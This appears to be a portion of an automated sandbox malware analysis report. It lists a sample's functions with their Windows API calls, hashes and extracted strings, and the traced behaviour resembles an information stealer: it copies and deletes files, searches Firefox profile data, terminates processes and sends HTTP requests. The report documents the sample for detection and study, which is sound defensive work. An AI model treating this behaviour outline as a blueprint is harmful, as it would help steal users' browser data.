API String ID: 2929475105-2718090995
Opcode ID: 87336dec04d06ac010dc4d7882025bebf2e3633312680bbf8326e45105bb27c0
Instruction ID: 756634b6078292b8205bba75648758324288abb3cd7bb3e0efd9893355994f5a
Opcode Fuzzy Hash: 87336dec04d06ac010dc4d7882025bebf2e3633312680bbf8326e45105bb27c0
Instruction Fuzzy Hash: 8D41E471804604AFC724EFB4EC56BAE3776BF48324F15512EF405A32A0D7B85986CB97

Function 0040A1B0 Relevance: 6.4, APIs: 4, Instructions: 360filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00418600: GetSystemTime.KERNEL32(?,02708C48,0042059E,?,?,?,?,?,?,?,?,?,004049B3,?,00000014), ref: 00418626

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040A231
lstrlenA.KERNEL32(00000000), ref: 0040A5EA

Part of subcall function 00409E60: memcmp.MSVCRT ref: 00409E7B
Part of subcall function 00409E60: memset.MSVCRT ref: 00409EAE
Part of subcall function 00409E60: LocalAlloc.KERNEL32(00000040,?), ref: 00409EFE

lstrlenA.KERNEL32(00000000,00000000), ref: 0040A32D
DeleteFileA.KERNEL32(00000000), ref: 0040A671

Memory Dump Source

Source File: 0000000B.00000002.3076969735.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.3076969735.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000062C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_bfb8bb0dc7.jbxd

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$AllocCopyDeleteLocalSystemTimememcmpmemset
String ID:
API String ID: 3258613111-0
Opcode ID: 90fab6204af73da365c9167bfc7c27c00098bbed4d0b8df33bfb3dacdb5d8baa
Instruction ID: babd7ff3150fa9bd4e199d5026f054df416ea87c2dc191fa558e2381e0c2d671
Opcode Fuzzy Hash: 90fab6204af73da365c9167bfc7c27c00098bbed4d0b8df33bfb3dacdb5d8baa
Instruction Fuzzy Hash: 17D12472811108AACB14FBA5DC96EEE7338AF14314F50815EF51772091EF786A9CCB7A

Function 0040D5C0 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00418600: GetSystemTime.KERNEL32(?,02708C48,0042059E,?,?,?,?,?,?,?,?,?,004049B3,?,00000014), ref: 00418626

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040D641
lstrlenA.KERNEL32(00000000), ref: 0040D7DF
lstrlenA.KERNEL32(00000000), ref: 0040D7F3
DeleteFileA.KERNEL32(00000000), ref: 0040D872

Memory Dump Source

Source File: 0000000B.00000002.3076969735.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.3076969735.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000062C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_bfb8bb0dc7.jbxd

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 0c2807978ddb67b157a81ac5975f165afd49d1be95bb9b2103d5e071166cb394
Instruction ID: b9a8a4b288ee9f939e53bd87e1647cffb120ee14b7120403b064e1d16f2d4ef2
Opcode Fuzzy Hash: 0c2807978ddb67b157a81ac5975f165afd49d1be95bb9b2103d5e071166cb394
Instruction Fuzzy Hash: DC814472911108ABCB14FBB1DC96EEE7339AF54318F40452EF40772091EF786A58CB6A

Function 0040F2E0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00409A10: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00409A3C
Part of subcall function 00409A10: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A61
Part of subcall function 00409A10: LocalAlloc.KERNEL32(00000040,?), ref: 00409A81
Part of subcall function 00409A10: ReadFile.KERNEL32(000000FF,?,00000000,00410127,00000000), ref: 00409AAA
Part of subcall function 00409A10: LocalFree.KERNEL32(00410127), ref: 00409AE0
Part of subcall function 00409A10: FindCloseChangeNotification.KERNEL32(000000FF), ref: 00409AEA

Part of subcall function 004188D0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 004188F2

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00421524,00420D7A), ref: 0040F38C
lstrlenA.KERNEL32(00000000), ref: 0040F3AB

Strings

^userContextId=4294967295, xrefs: 0040F3DC
moz-extension+++, xrefs: 0040F3ED

Memory Dump Source

Source File: 0000000B.00000002.3076969735.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.3076969735.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000062C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_bfb8bb0dc7.jbxd

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$ChangeCloseCreateFindFreeNotificationReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 2768692033-3310892237
Opcode ID: cd5ad668ae4ead5b8cbf97b3a5295137c83475000cc96a85760ba9580ca77ba6
Instruction ID: 29c62e45bd112fa8e6d3d1c16e218030d21c495d55cc38802304d1b40baba72e
Opcode Fuzzy Hash: cd5ad668ae4ead5b8cbf97b3a5295137c83475000cc96a85760ba9580ca77ba6
Instruction Fuzzy Hash: D2513175D01108AACB04FBB1DC56DEE7338AF94314F40812EF81767191EE7C6A58CB6A

Function 00418F70 Relevance: 6.1, APIs: 4, Instructions: 89COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00418F8B

Part of subcall function 004187F0: GetProcessHeap.KERNEL32(00000000,000000FA,?,?,00418FBE,00000000), ref: 004187FB
Part of subcall function 004187F0: HeapAlloc.KERNEL32(00000000,?,?,00418FBE,00000000), ref: 00418802
Part of subcall function 004187F0: wsprintfW.USER32 ref: 00418818

OpenProcess.KERNEL32(00001001,00000000,?), ref: 0041904B
TerminateProcess.KERNEL32(00000000,00000000), ref: 00419069
CloseHandle.KERNEL32(00000000), ref: 00419076

Memory Dump Source

Source File: 0000000B.00000002.3076969735.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.3076969735.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000062C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_bfb8bb0dc7.jbxd

Similarity

API ID: Process$Heap$AllocCloseHandleOpenTerminatememsetwsprintf
String ID:
API String ID: 396451647-0
Opcode ID: 154a52856db1a36c13a1087e07be06801474524f1d0650fdf17c0744cb15a30d
Instruction ID: 3daad27826ff673201e4cbb303e81af6821d19ef8fccaa22ba62c435337ce2e5
Opcode Fuzzy Hash: 154a52856db1a36c13a1087e07be06801474524f1d0650fdf17c0744cb15a30d
Instruction Fuzzy Hash: 02316D71E01208AFDB24DFE0CD49BEDB775AF48304F104059F606AB294DBB8AE85CB55

Function 00418120 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0041816A
Process32First.KERNEL32(?,00000128), ref: 0041817E
Process32Next.KERNEL32(?,00000128), ref: 00418193

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

FindCloseChangeNotification.KERNEL32(?), ref: 00418201

Memory Dump Source

Source File: 0000000B.00000002.3076969735.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.3076969735.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000062C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_bfb8bb0dc7.jbxd

Similarity

API ID: lstrcpy$Process32$ChangeCloseCreateFindFirstNextNotificationSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 3491751439-0
Opcode ID: 483d16b7c0b276ca47ad4182b59e8f41008243e375d535166473992905cc15c0
Instruction ID: 6084a3a81ad9197a86b05fcc5bdad381a42aa545a74b9a2169b69cd5b8afd334
Opcode Fuzzy Hash: 483d16b7c0b276ca47ad4182b59e8f41008243e375d535166473992905cc15c0
Instruction Fuzzy Hash: 8E319E71902218ABCB24EF95DC45FEEB778EF04710F10419EE50AA21A0DF386E85CFA5

Function 00416593 Relevance: 6.0, APIs: 4, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,02704B50,?,004210DC,?,00000000,?,004210E0,?,00000000,00420ADA), ref: 0041656A
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00416588
CloseHandle.KERNEL32(00000000), ref: 00416599
Sleep.KERNEL32(00001770), ref: 004165A4
CloseHandle.KERNEL32(?,00000000,?,02704B50,?,004210DC,?,00000000,?,004210E0,?,00000000,00420ADA), ref: 004165BA
ExitProcess.KERNEL32 ref: 004165C2

Memory Dump Source

Source File: 0000000B.00000002.3076969735.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.3076969735.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000062C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_bfb8bb0dc7.jbxd

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: e67069b7a25109c1f103972856e5ff06790c1bc0ba95d107da3788f3134d6b09
Instruction ID: a64f93d993f1e87f951aacd978fe42101be04856bc676c4d6d5bcee74d417e49
Opcode Fuzzy Hash: e67069b7a25109c1f103972856e5ff06790c1bc0ba95d107da3788f3134d6b09
Instruction Fuzzy Hash: F0F08230900605FFEB20ABA0EC09BFE7736AF04715F11441BB916A51D5CBF89582CA6E

Function 00414CD0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 004062D0: InternetOpenA.WININET(00420DE6,00000001,00000000,00000000,00000000), ref: 00406331
Part of subcall function 004062D0: StrCmpCA.SHLWAPI(?,0272AF18), ref: 00406353
Part of subcall function 004062D0: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406385
Part of subcall function 004062D0: HttpOpenRequestA.WININET(00000000,GET,?,0272A230,00000000,00000000,00400100,00000000), ref: 004063D5
Part of subcall function 004062D0: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 0040640F
Part of subcall function 004062D0: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00406421

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00414D08

Strings

ERROR, xrefs: 00414CFA
ERROR, xrefs: 00414D53

Memory Dump Source

Source File: 0000000B.00000002.3076969735.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.3076969735.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000062C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_bfb8bb0dc7.jbxd

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: 58d2b9f8748834604f24f38fd7cdd392fe5c4ffa99ef35d538bd2fc66a2a16af
Instruction ID: 9b7a9698bb488a37f3de611b15de8acf20b28e6af01427a962a44d236a29daab
Opcode Fuzzy Hash: 58d2b9f8748834604f24f38fd7cdd392fe5c4ffa99ef35d538bd2fc66a2a16af
Instruction Fuzzy Hash: 7F113330901108B7CB14FF61DC56AED7338AF50354F90816EF80B5A5A2EF786B95C75A

Function 00414A20 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00418880: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 004188AB

lstrcat.KERNEL32(?,00000000), ref: 00414A5A
lstrcat.KERNEL32(?,00421040), ref: 00414A77
lstrcat.KERNEL32(?,02726DE8), ref: 00414A8B
lstrcat.KERNEL32(?,00421044), ref: 00414A9D

Part of subcall function 004143F0: wsprintfA.USER32 ref: 0041440C
Part of subcall function 004143F0: FindFirstFileA.KERNEL32(?,?), ref: 00414423

Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,00420FAC), ref: 00414451
Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,00420FB0), ref: 00414467
Part of subcall function 004143F0: FindNextFileA.KERNEL32(000000FF,?), ref: 0041465D
Part of subcall function 004143F0: FindClose.KERNEL32(000000FF), ref: 00414672

Memory Dump Source

Source File: 0000000B.00000002.3076969735.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.3076969735.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000062C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_bfb8bb0dc7.jbxd

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: d9a7bb441cace2264c65b2c89e45308c98edaaf84c68a629cbd2b1765e33ed5e
Instruction ID: 8dbf70b05384144c92fb0b395b2fe843caac1dc39a8cdd365ca80c12b48963c0
Opcode Fuzzy Hash: d9a7bb441cace2264c65b2c89e45308c98edaaf84c68a629cbd2b1765e33ed5e
Instruction Fuzzy Hash: B6214F76A002086BC724FBA0EC42EDD373DAF94304F40845EB94A571D1EE7856C98BA5

Function 00414690 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 118stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00418880: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 004188AB

lstrcat.KERNEL32(?,00000000), ref: 004146CA
lstrcat.KERNEL32(?,02729BF0), ref: 004146E8

Part of subcall function 004143F0: wsprintfA.USER32 ref: 0041440C
Part of subcall function 004143F0: FindFirstFileA.KERNEL32(?,?), ref: 00414423

Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,00420FAC), ref: 00414451
Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,00420FB0), ref: 00414467
Part of subcall function 004143F0: FindNextFileA.KERNEL32(000000FF,?), ref: 0041465D
Part of subcall function 004143F0: FindClose.KERNEL32(000000FF), ref: 00414672

Part of subcall function 004143F0: wsprintfA.USER32 ref: 00414490
Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,004208BA), ref: 004144A5
Part of subcall function 004143F0: wsprintfA.USER32 ref: 004144C2
Part of subcall function 004143F0: PathMatchSpecA.SHLWAPI(?,?), ref: 004144FE
Part of subcall function 004143F0: lstrcat.KERNEL32(?,02726E78), ref: 0041452A
Part of subcall function 004143F0: lstrcat.KERNEL32(?,00420FC8), ref: 0041453C
Part of subcall function 004143F0: lstrcat.KERNEL32(?,?), ref: 00414550
Part of subcall function 004143F0: lstrcat.KERNEL32(?,00420FCC), ref: 00414562
Part of subcall function 004143F0: lstrcat.KERNEL32(?,?), ref: 00414576
Part of subcall function 004143F0: CopyFileA.KERNEL32(?,?,00000001), ref: 0041458C
Part of subcall function 004143F0: DeleteFileA.KERNEL32(?), ref: 00414611

Part of subcall function 004143F0: wsprintfA.USER32 ref: 004144E7

Strings

5\A, xrefs: 0041470F, 00414744, 0041477A, 004147AF, 004147E5, 0041481A, 0041483F, 00414712, 00414747, 0041477D, 004147B2, 004147E8, 0041481D

Memory Dump Source

Source File: 0000000B.00000002.3076969735.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.3076969735.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
